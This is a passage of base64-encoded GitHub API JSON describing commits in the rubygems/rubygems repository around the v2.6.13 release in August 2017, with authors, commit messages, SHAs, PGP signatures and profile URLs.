zaGEiOiIwNDVhMWY0NzIzZTdkN2NjYWY4NzE2MmM4OWMxMTVmY2NlZDYyOTIzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMDQ1YTFmNDcyM2U3ZDdjY2FmODcxNjJjODljMTE1ZmNjZWQ2MjkyMyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzkxMDNiODFjNjA1M2RhZWFmYzJjNzRlNjU0ZGFmZmFmYTc5NmI4ZjEiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOTEwM2I4MWM2MDUzZGFlYWZjMmM3NGU2NTRkYWZmYWZhNzk2YjhmMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC85MTAzYjgxYzYwNTNkYWVhZmMyYzc0ZTY1NGRhZmZhZmE3OTZiOGYxIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzkxMDNiODFjNjA1M2RhZWFmYzJjNzRlNjU0ZGFmZmFmYTc5NmI4ZjEvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI2NTc4OGI5YWRkMzc1MDdjMzNkNGM4ZDYyZTNlNDkxZDFjMmE0NDg3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzY1Nzg4YjlhZGQzNzUwN2MzM2Q0YzhkNjJlM2U0OTFkMWMyYTQ0ODciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjU3ODhiOWFkZDM3NTA3YzMzZDRjOGQ2MmUzZTQ5MWQxYzJhNDQ4NyJ9LHsic2hhIjoiODYxNmFkNTJiMDVjMjAxOWQyMDMxNzk4Mzc3ZmM3ODY3MThkMzc0YSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84NjE2YWQ1MmIwNWMyMDE5ZDIwMzE3OTgzNzdmYzc4NjcxOGQzNzRhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzg2MTZhZDUyYjA1YzIwMTlkMjAzMTc5ODM3N2ZjNzg2NzE4ZDM3NGEifV19LHsic2hhIjoiNjU3ODhiOWFkZDM3NTA3YzMzZDRjOGQ2MmUzZTQ5MWQxYzJhNDQ4NyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjhUMDI6MDU6NDlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yOFQwMjowNTo0OVoifSwibWVzc2FnZSI6Ik1lcmdlIHRhZyAndjIuNi4xMydcblxuVGFnZ2luZyB2Mi42LjEzLiIsInRyZWUiOnsic2hhIjoiZDhjMjdiNzcxNWQxYjVhMDhiNWNlYWMzMjQxODA2ZGE4ZDBkZTEyYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Q4YzI3Yjc3MTVkMWI1YTA4YjVjZWFjMzI0MTgwNmRhOGQwZGUxMmMifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82NTc4OGI5YWRkMzc1MDdjMzNkNGM4ZDYyZTNlNDkxZDFjMmE0NDg3IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpabzNxQkFBb0pFQUVaVzdNVjNhaFdrcjhQL2lKMWVzNTNXMlZwRE1qbE9MWHVERFBvXG44aHp4eDA2QVZyMVBVQ0E0aVUrdUJXbUhDYkpIaTRnblF3L3l3VXpGcEloOVVCVHpmOXBoSHZUZ2IxMzlxWk5UXG5GRW1Eb0pDbzdGdmFKWHdXUDUvY0IyMDJqSzRwL2J1RnJLRE8wNmYvUUU0cVY3eXE3OFVLaFk4VDZVT3E2eWZ4XG5tTm5iRFNMY1JNbXhrcmd5N3ZuUWVvMU9MWE1pMEpnbkJXSUFJR1djdk1GaXY2NkxEYzVuVGxRQ1pJQXZFRlIxXG5JQk83QlZ5UUI4ZU5vYThwUGdDRDQ2K1o3dkxUang1SHZ6UGFENXMyZHdZeWZUd0Z5K3ZlNzlub2RrbmZXalRPXG5pWFJJdENOdjdNY21WOXRSYmNYK3BadlUxVVZadmlhUjRsemdDWEUzNk1FclZWelhYd0xDcnYwQ0FlNVBrcXlvXG5ORTZhNWN4cUdXSVhqaFZaaEhGQnBpOG5aTmovUTN1dHhVYkpuenNsTWo4SGsyTGlRSk43OWJtWU45RytJRXpnXG5MTzA3QUZEbXhkbHFjYUVIaktodXJvSU1kd0tZNTlYWjFDb3VkRDZ0ZVBiZWlTaTZVNHVPbXVFS29aaGtMRlFqXG53amxQdzlFOGk4Z0kwQXJ4R1M2bnB2L1BsamVkSndBSk0wYkJpN1BqTlpNYysvSTZiVGlzQjV6MDV0Y3J2dmhJXG4yMHVETTlxajhTTUJJdGtHRzFkSTg3Y0E3UXE5QlVNaW92MnZzN1hyTUNWaW1vYkswK2FwWlRXY0xSSGQwU01IXG5OQjVBWTQwdU90L1gzSkoya1hTNmNnY2YzbTY2NDRYR1h6cUJMYXVidjZ4amZiUzUzZzJoc3pmdEZ2a3U2UU5ZXG5jL0lxb3FKQWNPL2xNczg0WmZuT1xuPVlla3hcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGQ4YzI3Yjc3MTVkMWI1YTA4YjVjZWFjMzI0MTgwNmRhOGQwZGUxMmNcbnBhcmVudCA5MGIxMTdlN2Q2NTBlZTY4YzZmZmI3M2FiMTEwMGYwMjc0ZWFlYjE5XG5wYXJlbnQgNmU3N2FjZTVkYWQwN2Q4NmEzOGFjMjcxZTZhNjI2NThjYTc1MTEwNVxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzODg1OTQ5IC0wNTAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDM4ODU5NDkgLTA1MDBcblxuTWVyZ2UgdGFnICd2Mi42LjEzJ1xuXG5UYWdnaW5nIHYyLjYuMTMuXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82NTc4OGI5YWRkMzc1MDdjMzNkNGM4ZDYyZTNlNDkxZDFjMmE0NDg3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzY1Nzg4YjlhZGQzNzUwN2MzM2Q0YzhkNjJlM2U0OTFkMWMyYTQ0ODciLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjU3ODhiOWFkZDM3NTA3YzMzZDRjOGQ2MmUzZTQ5MWQxYzJhNDQ4Ny9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiOTBiMTE3ZTdkNjUwZWU2OGM2ZmZiNzNhYjExMDBmMDI3NGVhZWIxOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85MGIxMTdlN2Q2NTBlZTY4YzZmZmI3M2FiMTEwMGYwMjc0ZWFlYjE5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzkwYjExN2U3ZDY1MGVlNjhjNmZmYjczYWIxMTAwZjAyNzRlYWViMTkifSx7InNoYSI6IjZlNzdhY2U1ZGFkMDdkODZhMzhhYzI3MWU2YTYyNjU4Y2E3NTExMDUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNmU3N2FjZTVkYWQwN2Q4NmEzOGFjMjcxZTZhNjI2NThjYTc1MTEwNSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82ZTc3YWNlNWRhZDA3ZDg2YTM4YWMyNzFlNmE2MjY1OGNhNzUxMTA1In1dfSx7InNoYSI6IjZlNzdhY2U1ZGFkMDdkODZhMzhhYzI3MWU2YTYyNjU4Y2E3NTExMDUiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI4VDAxOjQzOjQ3WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjhUMDE6NTA6MjJaIn0sIm1lc3NhZ2UiOiJWZXJzaW9uIDIuNi4xMyB3aXRoIGNoYW5nZWxvZyIsInRyZWUiOnsic2hhIjoiMGFjM2ExZTlkY2E5NTQ3MjcyMWVkMjI4ODBjN2JmMDFlMTZhOTU1MyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzBhYzNhMWU5ZGNhOTU0NzI3MjFlZDIyODgwYzdiZjAxZTE2YTk1NTMifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82ZTc3YWNlNWRhZDA3ZDg2YTM4YWMyNzFlNmE2MjY1OGNhNzUxMTA1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpabzNiZUFBb0pFQUVaVzdNVjNhaFdrOGtRQUlFZU1mNzFyMUVhKytidHlNZXowUWdFXG5uRDNZcFFpOUF6MWlTdW9vSXVVdEtESmVsUGJKU1M2NFF0bFE0STY5SFFYZjAxWjV5blJCRXRscU1pOXNZQ05zXG5YMGFUV2FSeTd6Yk8zcTAweWpqcjEzYStMSmRyWnRpUkhoVGhJek0ya09hc1cxSTdpTStWL0RPQkt1QjQzVWxzXG4rWkRkZUZpYm4yemNMS0JPS0l0NXVOblY2bVBEdEdlelFnUUhtaURiVDNsZFRhT2Jma08yR3dzcmZraWozZFBYXG5yZ1hFVVEzMHhRZUJrbnZwa0ZxTnlmVkZxMnVNTGJrbDJNN3FRNGt3emVTZHZSdGxqdW1WcXhxaWVZeGhvWTllXG5COWcwZjVQTjU1NUhCQ2F0a2NsZjNSMU9NM01TSzFsMlFiNnBmOFFsMit4eU1pbDZhaXJwbHJvLzNjZk5qSFRvXG41SjlEeFBaUVYrYnN3dFdvNGx6WlorY1ZNZFcxZUtXNVovRlRoM2NrcDdNK0JzUllqREc1MU80enFock5VMHJ1XG5PWGFsbE9pQi8xdnhPakJhYmFTL3hSMVl6MW1OODYzUUUrdDJqOWRuaWdKNHROYnVTdjFpUWtSOGFZckd3ZFUyXG5LUDF3alozNGQwNWNsU2trdDRlTzZ0b3grbnVycUR6Si96QURjOUFhcHB1aDVSZVF4SVN4VFYyemZMM1FoM1lKXG5MNUkwTUt3eG9FRHNOMDBqNHQ1UjZjSit5aHE4aUxOd1NwdVRaTVlEYndGNi9Ndlg1RE0yc2w3NjF5NGZVZGQ2XG54T1RDUzZBck5JV1JMaWdwczZyd3VUOWUwc1YzQ1lRVXB6Zk1TN1lRMURJb2VrVGE1TU1xVTBKTFNHRUxrcDhmXG4ydkNJVHY2dTkwa3FLRGNES3NTa1xuPXo4aHJcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDBhYzNhMWU5ZGNhOTU0NzI3MjFlZDIyODgwYzdiZjAxZTE2YTk1NTNcbnBhcmVudCBkYjA0ODg3ZmZkMGM5YjBiYmQxMTgwNTVkMTFiZGI1YjhhMmMxNjA5XG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDM4ODQ2MjcgLTA1MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzg4NTAyMiAtMDUwMFxuXG5WZXJzaW9uIDIuNi4xMyB3aXRoIGNoYW5nZWxvZ1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNmU3N2FjZTVkYWQwN2Q4NmEzOGFjMjcxZTZhNjI2NThjYTc1MTEwNSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82ZTc3YWNlNWRhZDA3ZDg2YTM4YWMyNzFlNmE2MjY1OGNhNzUxMTA1IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzZlNzdhY2U1ZGFkMDdkODZhMzhhYzI3MWU2YTYyNjU4Y2E3NTExMDUvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRiMDQ4ODdmZmQwYzliMGJiZDExODA1NWQxMWJkYjViOGEyYzE2MDkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGIwNDg4N2ZmZDBjOWIwYmJkMTE4MDU1ZDExYmRiNWI4YTJjMTYwOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYjA0ODg3ZmZkMGM5YjBiYmQxMTgwNTVkMTFiZGI1YjhhMmMxNjA5In1dfSx7I